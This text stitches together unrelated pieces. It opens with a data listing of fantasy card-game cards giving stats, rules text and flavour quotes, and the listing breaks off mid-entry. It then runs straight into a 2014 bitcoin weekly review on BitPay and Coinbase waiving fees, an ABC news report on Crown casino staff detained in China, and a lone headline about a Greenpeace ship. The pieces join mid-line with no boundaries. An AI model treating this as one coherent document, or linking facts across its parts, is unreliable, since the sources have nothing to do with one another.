228 4 Magnetizer Creature Human, Mystic U O2 0 1 2 Ranged attack Any unit hit by Magnetizer gets its Countdown increased by 1. Power is relative. A sleeping enemy is a harmless enemy.
279 5 Malevolent Gaze Spell C D2 - - - Target creature's Move is decreased by 2 until end of its turn. It gets Curse 2. Malice, pure and unguarded.
155 3 Mangonel Structure Artillery U O3 3 3 2 Lobber: 4 tiles When Mangonel comes into play, your Mangonels' Countdowns are set to the lowest of any you control. Powerful, portable, and packing a punch.
165 1 Mangy Rat Creature Beast, Rat C D1 1 2 1 Poisonous Tiny Merchants Trader of Graves Death's Servants Fate's Knaves
44 2 Mangy Wolf Creature Beast, Wolf C G3 2 2 3 When Mangy Wolf comes into play, other Wolf creatures you control have their Countdown decreased by 1. "The fat wolf is not dangerous." - Kinfolk proverb
777 7 Melt-Iron Shell Enchantment C E3 - - - Surge: Enchanted unit's Attack and Health are increased by X. Dyrran blacksmiths think outside the box. Way outside the box.
151 1 Metal Heart Enchantment C E2 - - - Enchanted creature counts as an Automaton, and its Attack is increased by the number of other Automatons you control. More machines, more mayhem.
210 4 Metal Wonder Structure Totem R E4 0 - 4 When your opponent plays a spell or enchantment, Metal Wonder deals 2 damage to a random idol they control. Machine victory, no fiddly bits.
19 1 Metempsychosis Spell U O3 - - - Target unit you control is resummoned on the same tile. Its Countdown is set to its previous value. Consider the egg. The image of unfulfilled potential, and you eat them for breakfast...
164 2 Mire Shambler Creature Masked, Undead U D1 3 2 1 Before attacking, Mire Shambler moves to a random adjacent tile. "From the depths of the mire, the Masked appeared." - Excerpt, Ilmire Journal II
792 7 Miremare Creature Beast, Masked U D2 2 2 2 Dominion: +2 Attack and +3 Health. "Intriguing. I want one!" - Ihrbraman, Creature Collector
247 4 Monstrosity Creature Beast U D3 3 2 3 Monstrosity gets +1 Attack for each adjacent Monstrosity, and -1 Attack for other adjacent creatures. Twisted. Transformed. Terrifying.
246 4 Monstrous Brood Spell C D5 - - - Target creature you control and connected creatures are destroyed, and each is replaced by a Monstrosity. A second birth. A new life. More teeth.
265 5 Morbid Curiosity Enchantment U D3 - - - When enchanted creature destroys another creature, enchanted unit's owner draws 1 scroll. When enchanted unit is destroyed, draw 1 scroll. "Show me your organs, and I will tell you who you were."
351 6 Mudo Fighter Creature Human C D3 4 2 2 Magic resistance 2 To be a fighter among the Mudo, one must defeat both foe and famine.
229 4 Mystic Altar Structure Totem U O2 0 2 3 When Countdown is 0, you may reset its Countdown and increase Countdown of target creature you control by 2 to draw 1 scroll. Learning takes time.
780 7 Mystic's Storm Spell C O2 - - - Your Lingering spells count up by 2, and your opponent's Lingering spells count down by 3. Time moves forward. Mostly.
188 3 Necrogeddon Spell R D7 - - - Sacrifice all creatures you control. Creatures sacrificed this way are replaced by Husks at Countdown 0. "This won't do. Lets start over." - Nuru, Flesh-seamstress
73 1 New Orders Spell C O1 - - - Your units have their Move increased by 1 until end of turn. REGROUP!
203 4 Noaidi Creature Human, Kinfolk U G3 2 2 2 Replenish For the Kinfolk, the moose migration marks the beginning of the new year.
371 6 Nog Creature Beast C G2 2 2 3 "Classification very hard. I'm pretty sure it's not a plant." - Ihrbraman, Creature Collector
309 5 Nuru's Needle Enchantment U D3 - - - Enchanted unit's Attack, Health and Move are decreased by 1. It gets Curse 1. "Life is my craft. The dead and dying, my canvas." - Nuru
278 5 Nuru, Flesh-seamstress Creature Human R D8 0 2 7 Unique, Dominion: Undead creatures you control get +2 Attack. Nuru does not attack. When Nuru's Countdown becomes 0, summon 2 Husks with Countdown 0 at random positions. The Husks are destroyed after attacking.
94 1 Nutrition Spell U G2 - - - Sacrifice target unit you control and add that unit's cost to your current resources. A cadaver for some, a feast for others.
213 4 Oak Blood Enchantment R G4 - - - Enchanted creature gets +6 Health. Trading with Vilewood trees is never a bargain.
120 1 Obelisk Structure Wall C O2 0 - 5 Good for leaning on. And hiding behind...
540 6 Omen of Damnation Spell Lingering C D3 - - - Linger: 4 When an opponent creature comes into play, a random idol on that side is dealt 1 damage. "I don't like these marches. I hear Nuru's whispers in the rustling leaves." - Jamra, Expedition Leader
830 7 Oppressor's Rule Spell U O2 - - - Units on one side of a row have their Move decreased by 1 until end of their turn. Any attached enchantments are destroyed. Imperial law follows the Empire's expansion. Sometimes, it even precedes it.
825 7 Orz Disruptor Creature Human, Knight R O7 5 2 5 When a Human you control deals damage to a unit, opponent's idol on that row is dealt 2 damage. The university's all about magic. The disruptors work as a safeguard, should things go wrong.
289 5 Outcast Rebel Creature Human, Rebel C G2 4 3 2 Inspiring: +1 Attack Ill-tempered and bad-mannered. No wonder the braves love him.
140 1 Overdrive Enchantment U E2 - - - When Overdrive comes into play, and at the beginning of its turns, enchanted structure's Countdown is decreased by 2 and it is dealt 1 magic damage. "I know it'll break. I just don't care." - Arran, Machine Priest
820 7 Overgrown Menhir Structure Totem R G3 0 - 2 When a creature comes into play next to Overgrown Menhir, that creature's Countdown is decreased by 1. These stones are more than just symbols. They're the voice of Khaile.
221 4 Owl Creature Beast C G2 1 1 2 Flying Hoot. Hoot?
828 7 Pack Fowl Creature Beast U O3 3 2 3 Dominion: While Pack Fowl is in play, Wild is increased by 2. "The burden of Arom makes life easier for the rest of us. It's truly a blessing." - Niem, about his pack fowl
793 7 Pack Husk Creature Undead C D3 2 3 4 When Pack Husk is destroyed, draw 1 scroll. Death weighs heavy on us all.
201 3 Pestis Enchantment U D2 - - - Enchanted creature has +1 Attack for each Rat on that side. When enchanted creature destroys another unit, summon a Mangy Rat on a random tile the same side. There's no virtue among vermin.
807 7 Pickaxe Volunteer Creature Human C E2 3 3 3 Idol strike 4 Many hands make light work.
262 5 Piercing Projectile Enchantment U E2 - - - Enchanted ranged creature gets Piercing and +1 Attack. "With these, you'll get through the strongest armor." - Arran, Machine Priest
274 5 Pilgrim's Feet Enchantment C O1 - - - When enchanted creature moves, it is healed by 2. "I don't need shoes. I have faith."
170 2 Pillar of Disease Structure Wall C D3 0 - 4 Opponent units on the same row have -1 Attack. The Ilmire provides for its own.
186 3 Pillar of Fatigue Structure Totem R D3 0 - 3 When a creature moves, its Countdown is increased by 1. What good are tactics when your men can't lift their swords?
86 2 Plate Armor Enchantment R O2 - - - Armor 1 Enchanted unit gets +2 Health. "If only we had enough for everyone..." - Lord Ungstram, Royal Strategist
141 1 Plating Enchantment C E2 - - - Replenish Enchanted unit disregards next attack or damage taken. Plating is removed afterwards. Almost works like real armor.
57 2 Pother Spell Displacement U O2 - - - Target unit is moved to a random adjacent tile. Draw 1 scroll. Now you're there, now you're not!
47 1 Potion of Resistance Enchantment R E1 - - - For 3 rounds, damage dealt to enchanted unit is reduced to 1. Sometimes you've just got to take the hit.
282 5 Power Trip Spell R E3 - - - Increase current Energy by 6. If it is then 11 or more, draw 1 scroll. "We need more." "But-" "MORE!"
95 3 Powerbound Enchantment C O1 - - - When enchanted unit you control is destroyed, increase Order by 1. "I'll just borrow some life force when you don't need it anymore." - Lord Ungstram, Royal Strategist
781 7 Proud Mercenary Creature Human, Mercenary C O3 2 2 3 Adjacent creatures have +1 Attack. The start of the expeditions marked the birth of new trades. Mercenaries, guards and porters all found work aplenty.
169 1 Puppet Soldier Structure Wall U D3 0 - 3 When Puppet Soldier is destroyed in combat, all units on the same row are destroyed. The soldier is false. The fear is not.
99 2 Purification Spell C O1 - - - Remove all enchantments and effects from target unit. The innocence of youth can cleanse the corrupt.
48 1 Pushback Spell U O4 - - - Target unit is returned to its owner's hand. You know you're not wanted when your body dissolves.
34 1 Quake Spell Destruction R G5 - - - Taxing 2 Deal 3 magic damage to all structures and 2 magic damage to all creatures. No matter your skill, you can't parry the ground.
49 2 Ragged Wolf Creature Beast, Wolf C G1 1 2 2 Haste Fast and feisty.
816 7 Raid Spell U G2 - - - Any Pillage traits on units you control are activated. "Find the stores! Hungry soldiers won't last long in Khaile."
21 3 Rallying Spell U G5 - - - Units you control have their Countdown decreased by 2. FOLLOW THE JARL FOR THE KIN!
100 2 Ranger's Bane Enchantment Destruction U G2 - - - Enchanted creature becomes poisoned. You haven't really died until you've been slowly strangled by poisonous roots.
215 4 Rat King Spell R G4 - - - Target tile and adjacent tiles. Summon three Beast Rats within the spell's area. Obey the Jarl, but fear the King.
362 6 Rattle Hymn Spell C D3 - - - Destroy a random Lingering spell your opponent controls. Draw 1 Lingering spell. Echoing the melody of fate.
319 5 Reaping Mask Enchantment R D7 - - - Unstable 3 Enchanted unit gets +3 Attack and +3 Health. When enchanted unit destroys a creature, draw a creature scroll. Its promise cannot be resisted for long. Nor can its hunger.
856 7 Reaver's Treaty Spell Lingering U E2 - - - Linger: 8 Units you control with Pillage or Dominion have +1 Attack. The combined might of the reavers and the Mudo finally forced the Empire to withdraw. The rebellion was over; merely a waypoint in history.
230 4 Redeploy Spell Displacement R O2 - - - Swap two target rows on your side. "Wings to the east, vanguard south. Go!"
145 3 Redesign Enchantment U E2 - - - Target creature's Attack and Health switch values. "Trust me, it's better this way." -Amhan, Machine Master
240 4 Refined Strategy Spell Displacement R O2 - - - Move target structure you control to another tile on that side. Its Countdown is decreased by 1. "Perhaps we should move the catapults to the ridge?"
191 1 Regeniture Enchantment C D1 - - - Enchanted unit gets +2 Health. When Regeniture comes into play, the idol behind it is dealt 1 damage. Sometimes you can squeeze blood from a stone.
348 6 Rekindled Spirit Spell U G4 - - - Sacrifice target creature you control. Destroy all Lingering spells. Draw 2 creature scrolls. "Warriors, not tricks!" -Jarl Urhald
354 6 Reloras, Lord Knight Creature Human, Knight R O4 2 2 4 Unique, Resonance: Adjacent units get +1 Attack until end of turn. "There's no one I admire more. No one I'd rather see dead." - Jarl Urhald
287 5 Replicaton Creature Automaton C E3 3 2 2 Ranged attack When Replicaton is destroyed, return to owner's hand if your current Energy is 2 or more. You only need one. Of course, use more if you've got them.
124 2 Resonant Helm Enchantment C O1 - - - Magic resistance 1, Resonance: Heal 2 You'll hear the silent whispers of magic and it will change you.
805 7 Resonant Sword Enchantment C O1 - - - Resonance: +2 Attack until end of turn. Think of it as a tuning fork, only sharper.
177 1 Restless Bones Spell R D3 - - - Undead units you control get +2 Attack until end of turn, and their Countdown is decreased by 1. "Angering the dead is no trivial task." - Grahm, Animator
137 1 Return To Nature Spell Destruction U D3 - - - Creatures on target tile and adjacent tiles get -1 Health until end of turn. If a creature with this effect is destroyed, increase Growth by 1. Wither and begin anew.
349 6 Revenant Creature Undead, Anima C D1 2 1 1 Ward Revenant is destroyed after attacking. Revenants rose in the hundreds; free from conscience, though not from purpose.
275 5 Reversal Spell Displacement C O2 - - - Frontmost and rearmost units on one side of target row switch places. Draw 1 scroll. "The right tool for the right job. And you tools are in the wrong place!"
139 3 Rigged Enchantment C E1 - - - Unstable 1 When enchanted structure is destroyed in combat, opponent units on the same row are dealt 2 physical damage. Strap it on, then stand back.
308 5 Righteous Partisan Creature Human C O3 2 2 3 When Righteous Partisan comes into play, if you have no more units than your opponent, draw 1 scroll. "My home, my war."
242 4 Ripper Creature Human C D1 2 2 2 "I was taught to be ready!"
193 3 Roasted Bean Potion Spell R O2 - - - Target creature's Countdown is decreased by 1. Its Move is increased by 1 until end of turn. It's an acquired taste. By the barrel from far Dyrra.
233 4 Royal Banner Structure Totem R O2 0 - 3 All non-Human units get Countdown increased by 2 after attacking. Where the banner goes, the Empire soon follows.
126 2 Royal Infantryman Creature Human, Soldier U O1 1 2 2 Other creatures you control on the same row have +1 Health. Yes, my Liege. I'll protect them, my Liege.
359 6 Royal Inspiration Spell C O2 - - - Dominion: Draw 1 Soldier scroll. Draw 1 Knight scroll. The knights of Aescalon all favor the same lady.
127 2 Royal Skirmisher Creature Human, Soldier U O3 3 2 3 Relentless Double the swords, double the fun!
128 2 Royal Spearman Creature Human, Soldier U O3 2 2 3 Spiky 3 HOOOOOLLLD!
54 1 Royal Vanguard Creature Human, Knight R O5 3 2 5 When Royal Vanguard's Countdown becomes 0, adjacent units get +2 Attack until end of turn. Honor. Power. Axe.
76 1 Rumble Spell Displacement U G3 - - - Each opponent unit is moved to a random adjacent tile. Shaken, not crushed.
313 5 Ruse Spell Lingering U O2 - - - Linger: 3 Units you control have Spiky 2. "The Kin is a weed in our Imperial garden. It musn't grow." - Lord Ungstram, Royal Strategist
107 3 Scattergunner Creature Human, Tribesman C E3 5 2 2 Ranged attack "He was carrying WHAT?!" - Mahts, Infantryman
790 7 Scout Creature Human U O2 2 2 2 When Scout comes into play, sift 3 scrolls from your library. Choose one of them to put on top of your library. "You know me, general. I'm just full of ruined surprises."
227 4 Scout Automaton Creature Automaton R E3 1 2 3 Ranged attack, Armor 1 Other Automatons you control have +1 Attack. No machine is complete without its smallest gears.
184 2 Searing Shackles Enchantment U D2 - - - Enchanted unit deals 1 damage to the idol behind it at the end of each of its turns. When enchanted unit moves, it is dealt 2 magic damage. Death is the only escape.
304 5 Seed of Insurgency Enchantment R G4 - - - When enchanted creature is destroyed, it's resummoned on the same tile. Its Countdown is set to 1. Some wars, you just don't quit.
782 7 Shambler Sickness Enchantment Displacement U D1 - - - Before attacking, enchanted unit is moved to a random adjacent tile. The mire can do strange things to the mind.
51 3 Shrine Structure Totem R O3 0 - 2 Other units you control have +1 Health. With a strong enough faith, you don't need gods for miracles.
250 4 Sickening Fumes Spell R D2 - - - Until end of opponent's turn, opponent units have their attack decreased by 3. It's not weather. It's miasma density.
241 4 Siege Cracker Creature Human, Tribesman C E3 1 2 4 Idol strike 5 What do you mean, "bombs for hands"?
52 1 Sinmarked Zealot Creature Human U O1 1 2 2 When Countdown is 0, you may sacrifice Sinmarked Zealot to deal 2 magic damage to target unit. When his time comes, so will yours.
218 4 Sister of the Bear Creature Human, Kinfolk C G4 5 2 4 "Honored Sisters. Your strength will be my hammer against the hated Empire!" - Jarl Urhald
341 6 Skull Shrine Spell Lingering C E3 - - - Linger: 4 At the beginning of your turns, increase current Energy by 2. "Not need proof. Proof here! Skull shrine for gods!" - Uhu Longnose
321 6 Skythorn Structure Totem U G3 0 4 4 Spiky 1 Does not count down. When a creature comes into play on your side, Skythorn's Countdown is decreased by 1. When Skythorn's Countdown becomes 0, draw 1 scroll. It thrives on life.
350 6 Slayer Vestige Creature Undead C D2 2 3 3 Slayer Vigilant, Deadly. Eternal.
789 7 Sleep Moratorium Spell R D5 - - - Sift 3 random scrolls from your discard pile, and draw 1 of them. Gain current Decay equal to its casting cost. In the mire, "Get up and pull yourself together" has a very different meaning.
380 6 Slithering Form Enchantment U D1 - - - Magic resistance 2 Enchanted melee unit passes through enemy structures and is immune to damage dealt by structures. A body like mist, the heart of a viper.
367 6 Snargl Creature Beast C E4 5 2 5 Resonance: Snargl's Countdown is increased by 1. "Snargl Dodge" is the closest thing to sports among gravelocks.
369 6 Snargl Brain Enchantment U E1 - - - Enchanted unit gets +1 Attack. If Energy is 4 or more, enchanted unit gets +3 Health. "Not sure what this organ does, but it's located between its eyes." - Ihrbraman, Creature Collector
379 6 Snargl Hunter Creature Human C E3 3 2 3 When Snargl Hunter destroys a non-Human creature, increase current Energy by 4 at the start of your next turn. Hunting in the Carai Range is not for the faint of heart.
383 6 Snargl Omelette Structure Wall R E3 0 - 3 Pay 2 Energy: Sift 2 Gravelocks from your library, and draw 1 of them. Use this ability only if you have 0 scrolls in hand. The safest way to eat snargl.
273 5 Soldier's Bond Enchantment C O2 - - - Replenish When enchanted unit takes damage, other units you control on the same row have their Countdown decreased by 1. One for all. All for naught.
204 4 Solemn Giant Creature Automaton R E4 8 6 4 Does not count down. Pay 2 Energy to decrease Countdown by 2. "The Giants are no more, so we made new ones." -Amhan, Machine Master
377 6 Somata Shift Spell R G3 - - - Summon a random creature scroll from your library on target tile. Its Health is set to 2. You sure? Extracting souls this way hurts and is closely related to Ilmire arts.
174 2 Soul Scrounger Enchantment U D2 - - - When a creature is destroyed, enchanted unit's Countdown is decreased by 1. Those who have fallen act through the living.
190 2 Soul Steal Spell Destruction R D3 - - - Destroy target creature with health 2 or less. Summon a Mire Shambler on a random tile on your side. Ilmire mercy is worse than death.
67 3 Spark Spell Destruction C E2 - - - Deal 2 magic damage to target unit. The smallest spark can cause a decent flame.
55 2 Speed Spell R O3 - - - Target unit's Countdown is decreased by 3. They won't know what hit them.
819 7 Spotted Lynx Creature Beast, Cat C G2 3 3 2 When an opponent creature comes into play, Spotted Lynx's Countdown is decreased by 1. "The lynx is a remarkable creature. Its pounce is unmatched by anything roaming these woods." - Maans, Forest Keeper
358 6 Squire Creature Human C O2 2 2 3 Other creatures you control on the same row count as Knights. Yes, sire. Immediately, sire.
208 4 Stag Heart Enchantment C G2 - - - Enchanted unit gets +1 Attack and +1 Health for each Stag Heart on the same side. The Kinfolk judge every beast on their own merits.
787 7 Steelwood Champion Creature Human, Warden U G4 4 2 3 Inspiring: +1 Attack
815 7 Steelwood Dedication Spell Lingering U G2 - - - Linger: 5 If a creature you control is dealt damage during combat, it is then healed by 3. Show no fear. The earth will tend to your wounds.
779 7 Steelwood Vindicator Creature Human, Warden C G3 4 2 2 Relentless "Steelwood weaponry is matched only by the shardswords of faraway Ilmire." - Siani's Historia, Vol. III
263 5 Stifled Advance Enchantment U O2 - - - Enchanted unit's base Countdown is increased by 2. When Stifled Advance comes into play, enchanted unit's Countdown is increased by 2. "They can't attack us if they're busy dodging arrows."
803 7 Stirring Effigy Structure Totem C O2 0 - 4 Resonance: A random adjacent creature gets +1 Attack. The Empire's greatest never truly die.
266 5 Stitcher Creature Human U D4 2 2 4 When Stitcher's Countdown is 0, you may sacrifice target creature to give another target creature +2 Attack and +2 Health. If you do, Stitcher's Countdown is reset.
347 6 Stone Enigma Spell U E4 - - - All Lingering spells are destroyed. Increase Energy by 1. This little thing brought down the Mystics of Marnak.
822 7 Stone Recluse Creature Human, Warden C G3 3 2 3 Pillage: +2 Attack and relentless until next attack. "Each day's a trial. I tackle them in solitude." - Jehb, Khaile recluse
223 4 Storm Runner Creature Human, Tribesman U E3 2 2 3 Lobber: 4 tiles Storm Runners have perfected the art of... throwing.
356 6 Stormknight Creature Human, Knight C O5 4 2 5 Stormknight has Move 2. In the Stormknight strategy creed, there's only one sentence; Break their center!
307 5 Striped Fangbear Creature Beast, Bear U G4 1 2 4 As long as opponent controls any Humans, Striped Fangbear is Relentless and has +3 Attack. The Sisters don't really train fangbears. They simply encourage their natural hate of knights and soldiers.
288 5 Sudden Eruption Spell Destruction R E4 - - - Surge: 2 magic damage to X random opponent units. "Too frequent by far, and utterly horrifying." - Siani, Dyrran Historian
105 3 Summons Spell C O1 - - - Draw 1 structure scroll. "We need more stuff!" - Lord Ungstram, Royal Strategist
225 4 Supercharged Enchantment R E2 - - - When Supercharged comes into play, and at the beginning of each of enchanted unit's turns, enchanted unit makes a ranged attack dealing 1 physical damage. It's not like they know how it works, exactly... but it's certainly useful.
800 7 Swirling Smoke Spell U D2 - - - Target creature and connected creatures have their Countdown increased by 1. Any attached enchantments are destroyed. "Deep within the mire, the very air churned with a malice I cannot explain." - Frysk, Imperial Scout
178 4 Tempo Theft Spell R O3 - - - Two target units switch Countdown values. No refund upon completed transaction.
374 6 Terrene Brute Creature Beast U G3 4 5 4 When a creature comes into play on your side, Terrene Brute's Countdown is decreased by 1. "Tread lightly in these woods. These beasts are fidgety." - Halm, Berserker
131 1 Tethered Recruit Creature Human U D2 2 2 1 When Tethered Recruit is destroyed, increase Order by 1. "Its mind is muddled, but its heart is still with the army." - Arhart, Mire Master
20 1 Thought Trap Spell C O2 - - - Target unit's Countdown is doubled. How far will a blind dog walk into a forest?
25 3 Thunder Surge Spell Destruction R E6 - - - Target unit and connected units are dealt 2 magic damage. Fear not the thunder. Fear the lightning.
87 1 Tick Bomb Spell Destruction C E3 - - - Destroy target structure. Sounds like tick, looks like tick.
150 2 Tool Initiate Creature Human U E2 2 2 3 When Tool Initiate's Countdown is 0, you may increase its Countdown by 1 to give target structure +1 Attack. "Let me just tweak this..." -Amhan, Machine Master
542 6 Totem Mask Enchantment R G3 - - - When a structure comes into play, enchanted unit gets +2 Attack and +1 Health. "Keep your ring. In comparison, 'tis only a trinket." - Jarl Urhald
173 3 Totem of Suffering Structure Totem R D4 0 - 4 When a creature you control is destroyed, the opposing idol on that row is dealt 1 damage. Empathy can be a cruel thing.
62 3 Transposition Spell Displacement C O2 - - - Switch places of two units you control. Draw 1 scroll. You don't need powerful allies. You need allies in the right places.
110 1 Tribal Memorial Structure Memorial C E1 0 - 3 Pay 2 Energy to destroy Tribal Memorial and increase Growth by 1. Lest we forget the times of peace.
363 6 Uhu Longnose Creature Gravelock R E4 2 2 4 Unique When Uhu's Countdown is 0, you may reset its Countdown to increase current Energy by the number of Gravelocks you control.
159 1 Unbind Spell Destruction U D3 - - - Destroy target enchanted unit. What once was no longer is.
295 5 Underdog's Spite Spell C G3 - - - Creatures you control with Attack 2 or less have their Countdown decreased by 1. As they dragged him out of the forest, the dagger was still lodged in his shoulder.
251 4 Uneasy Alliance Enchantment C D2 - - - Enchanted creature gets +2 Attack. When it is destroyed, all other creatures with Uneasy Alliance are destroyed. This won't end well.
243 4 Unforeseen Onslaught Spell R D2 - - - Creatures you control with Attack 1 or less get Slayer until their next attack. 'Tis just a scratch.
310 5 Unground Enchantment Destruction U G2 - - - Any time an idol takes damage, enchanted unit is dealt magic damage equal to half that amount (rounded up). "Whether we know it or not, we all draw upon the earth."
58 3 Unleash Inner Power Enchantment R G3 - - - Target creature's Attack is increased by its Health value. Its Health is then set to 2. My very essence shall be my blade.
257 4 Untainted Enchantment R G2 - - - Enchanted unit has Ward. Those who do not want can not be corrupted.
98 2 Useless Contraption Structure Wall C E1 0 - 4 Working as intended.
791 7 Varas, Essence Eater Creature Human, Mystic R D6 3 2 6 Unique, Relentless Varas has +2 Attack for each destroyed idol on the board. "Somehow, I drew Varas out of hiding. I wish I hadn't." - Atmahs, Imperial Quartermaster
97 1 Vengeance Veil Enchantment C O2 - - - Replenish When enchanted unit takes damage, its Countdown is decreased by 1. All is blood from behind the crimson veil.
817 7 Verdant Remnant Structure Totem U G5 0 3 5 Haste When Verdant Remnant's Countdown becomes 0, draw 1 creature scroll. On the northernmost tip of Reason's End, remnants of a distant past litter the wind-beaten landscape.
294 5 Verdant Veil Enchantment R G4 - - - Enchanted creature gets +3 Health. As long as its Health is no less than its base Health, it has Ward. "I swear! I saw a person in there!"
301 5 Vicious Strike Spell C E1 - - - Surge: Target unit gets +X Attack until end of turn. The Reavers know a good fight when they see one.
238 4 Vigor Extraction Spell U O3 - - - Target unit's Countdown is increased by 2. If Countdown is then 4 or more, increase Decay by 1. The life of another, put to better use.
370 6 Vilda the Verdant Creature Human, Mystic R G3 2 2 3 Unique, Ward Vilda has +1 Attack for each enchantment on your side. You wouldn't call a great oak weak just because it is slow to attack.
70 2 Violent Dispersal Spell Destruction R E6 - - - Deal 8 magic damage to target unit. "When he said 'Disperse!' I thought he meant all of us. Turns out he was only addressing poor Mikal." - Mahts, Infantryman
161 3 Viscera Sage Creature Human, Mystic U D2 2 2 2 When Viscera Sage destroys another unit, draw 1 scroll. Reading entrails takes a strong stomach.
88 2 Vitriol Aura Enchantment C G1 - - - Poisonous Try not to breathe.
332 6 Void Gate Structure Wall U D3 0 - 3 Physical damage dealt to Void Gate is instead dealt to the idol behind it. The sword slashed right through the churning sphere, seeming almost to fall into the void within.
61 1 Waking Stones Structure Wall R O3 0 - 3 All damage dealt to Waking Stones is reduced to 1. "The problem with stone is that it is stationary. We fixed that." - Uria, Geo Mage
315 5 Warding Stone Structure Wall U O3 0 - 4 When Warding Stone is destroyed in combat, attacking unit is returned to owner's hand and you draw 1 scroll. "You bring your toys, mystic. I'll bring mine." - Lord Ungstram, Royal Strategist
253 4 Watcher Structure Totem R D2 0 - 4 When a unit adjacent to Watcher is destroyed by non-combat damage or death effects, Watcher deals 2 damage to a random opponent idol. The Harvester's wrath lingers even after death.
296 5 Wetland Ranger Creature Human, Rebel C G4 1 1 4 Pillage: Your units get +1 Attack during your and your opponent's next turns. With Ilmire warring against the Empire, the rangers were put to use where needed.
239 4 Wicked Being Enchantment C D1 - - - Unstable 2 There are no innocents in the Mire.
154 1 Wildling Creature Human U G3 0 1 4 When a creature comes into play adjacent to Wildling, Wildling is dealt 1 pure damage and gets +1 Attack. Sometimes you just want to be left alone.
814 7 Wind-up Automaton Creature Automaton R E2 0 1 2 Ranged attack Wind-up counts up instead of down at the beginning of its turn. Pay 3 Energy
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the information that you’d probably want to know about the world is readily available in the palm of your hand with your phone, mystery still exists.This week’s bitcoin review takes a look at why both BitPay and Coinbase dropping (some of) their transaction fees.
The new bitcoin business model? Freemium
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Until this week, the notion of bitcoin as a technology and bitcoin as a business hasn’t entirely matched up. The beauty of bitcoin’s technology is its ability to send payments to any address free of charge. This is what’s made it attractive to everyone from the remittance industry to drug dealers to hackers to the average Joe, and what made it so forward-thinking. However, many of the business models have matched a more traditional business model that takes a share of the profits.
That changed when BitPay moved from a one percent transaction fee on its starter plan to making it free. It essentially moved from a controller — pay me my one percent toll to use this technology — to a gateway, helping any business get on board with bitcoin.
Coinbase then followed suit and also announced that it is waving the transaction fees for any registered nonprofit, like its newest partner Wikimedia (parent to Wikipedia).
Of course, the company still has to make money. When I spoke with Tony Gallippi, BitPay’s executive chairman, about the company’s plans, he emphasized that the company was moving toward a freemium model that’s not normally associated with payments, but is quite common with software. The plans BitPay offers add perks like Quickbooks Integration (likely to be essential for any business doing a large number of bitcoin orders) and 24-hour support.
Bitcoin as a technology has always been free, so it’s a smart move for BitPay to start embracing that and making its business off the premium services the company offers, like support or extra features, rather than acting as a tollbooth for the blockchain.
In the words of Startup L Jackson….
This is what shit getting real looks like. Let the race to free payments begin… http://t.co/lt5pR29Kzh — Startup L. Jackson (@StartupLJackson) July 30, 2014
The market this week
The market dipped below $600 last Friday and stayed there. Despite a flurry of good news, like the zero transaction fees, the price didn’t budge and continued to dip over the week before rebounding Thursday to close at $581. The price has since rallied to about $598 as of 11a.m. PST, so we may see it jump back over the $600 mark once more. How long it will stay there though will be anyone’s guess.
For background on why we’re using Coindesk’s Bitcoin Price Index, see the note at the bottom of the post.
In other news we covered this week:
Beloved by bitcoin users, digital gift card company Gyft was acquired by First Data.
Good news for Apple fans: Blockchain’s Wallet app is redesigned and back in the app store.
Here are some of the best reads from around the web this week:
Bitcoin in 2014
The history of bitcoin’s price
A note on our data: We use CoinDesk’s Bitcoin Price Index to obtain both a historical and current reflection of the Bitcoin market. The BPI is an average of the four Bitcoin exchanges which meet their criteria: Bitstamp, BTC-e, LakeBTC and Bitfinex. To see the criteria for inclusion or for price updates by the minute, visit CoinDesk. Since the market never closes, the “closing price” as noted in the graphics is based on end of day Greenwich Mean Time (GMT) or British Summer Time (BST).Crown's local casino licences under scrutiny if China hands down conviction, former regulator boss warns
Updated
The former head of the NSW casino regulator is warning that Crown's Australian casino licences should be reviewed if any of its staff under arrest in China are convicted of an offence.
Key points: 14 Crown staff, including three Australians, are in detention in Shanghai
Chris Sidoti is warning any convictions of Crown's staff would "require further inquiries to be made" by an Australian regulatory body
Crown profits have tumbled after the arrest of its staff in China
Fourteen Crown staff, including three Australians, are in detention in Shanghai following coordinated police raids across China last October.
Chris Sidoti, former chair of the NSW Independent Liquor and Gaming Authority, told Four Corners any convictions of Crown's staff "would place an authority like a regulatory body in Australia on notice and require further inquiries to be made".
Crown holds casino licences in Melbourne, Perth and Sydney, where its Barangaroo property is scheduled to open in 2021.
Mr Sidoti said action by the regulators reviewing a casino licence could range from a caution or reprimand all the way through to removing a licence. But he flagged that evidence relied on in the Chinese legal system could be problematic.
The arrests of its staff are a blow to Crown's plans for Sydney's Barangaroo casino, which was promoted as a venue for wealthy gamblers — known as VIPs — many of whom come from mainland China.
'I don't think there was an appetite for thorough scrutiny'
The NSW Government has strongly backed Barangaroo but former NSW premier Barry O'Farrell insisted it would be "a VIP facility only" when it was announced.
Mr Sidoti was head of the NSW regulator when the licence was granted. In an interview with Four Corners, he hit out at the failure of the NSW Government to have a full public inquiry before granting the licence.
"There was no public tender process and there was no inquiry at any stage, a public inquiry, as to the public benefit involved in this," he said.
"I think there should have been. I think that casinos are big money-spinners and operating a casino in most circumstances is a licence to print money."
Parliamentary scrutiny of the Barangaroo decision was "inadequate" and "superficial", Mr Sidoti told Four Corners.
"I don't think there was an appetite for thorough scrutiny. I think there was a wish simply to get the job done in terms of having some basic level of examination and doing the deal," he said.
Since the arrest of its staff in China, Crown's VIP turnover at its Australian casinos has fallen by 45 per cent and its chairman and chief executive have resigned.
Crown's new executive chairman, John Alexander, is launching a major cost-cutting program, including slashing staff in Perth and reducing spending on VIP facilities.
Crown's principal shareholder, billionaire James Packer, has announced he is returning to the Crown board but faces a mandatory probity inquiry by NSW casino regulators before that can take effect.
Staff remain in limbo
After almost five months, the fate of Crown's staff in China remains in limbo as they wait to hear if charges will be laid.
Among those in detention is Jason O'Connor, the Melbourne-based head of Crown's International VIP programs. Four Corners has confirmed that Mr O'Connor was en route to Shanghai airport when he was detained by Chinese police.
The staff were rounded up following warnings from the Chinese Government that it intended to crack down on foreign casinos marketing to its citizens on the mainland.
Gambling and the promotion of gambling is illegal in China, but foreign casinos had in the past understood they could market their luxury resorts attached to their casinos.
Before the arrest of the Crown staff, travel advice from Australia's Department of Foreign Affairs and Trade failed to include a warning that the promotion of gambling is illegal in China.
This was only changed after the arrest of the Crown staff in November.
The department's advice now states: "Gambling and the promotion of gambling activities are illegal in China. Anyone found to be in violation of this law may be subject to fines, detention and/or a prison sentence."
Crown Confidential will be broadcast on ABC TV at 8:30pm and can be viewed online.
Topics: business-economics-and-finance, industry, law-crime-and-justice, china, australia, asia
First postedDutch Police Storm Greenpeace Ship Trying To Block Arctic Oil Delivery
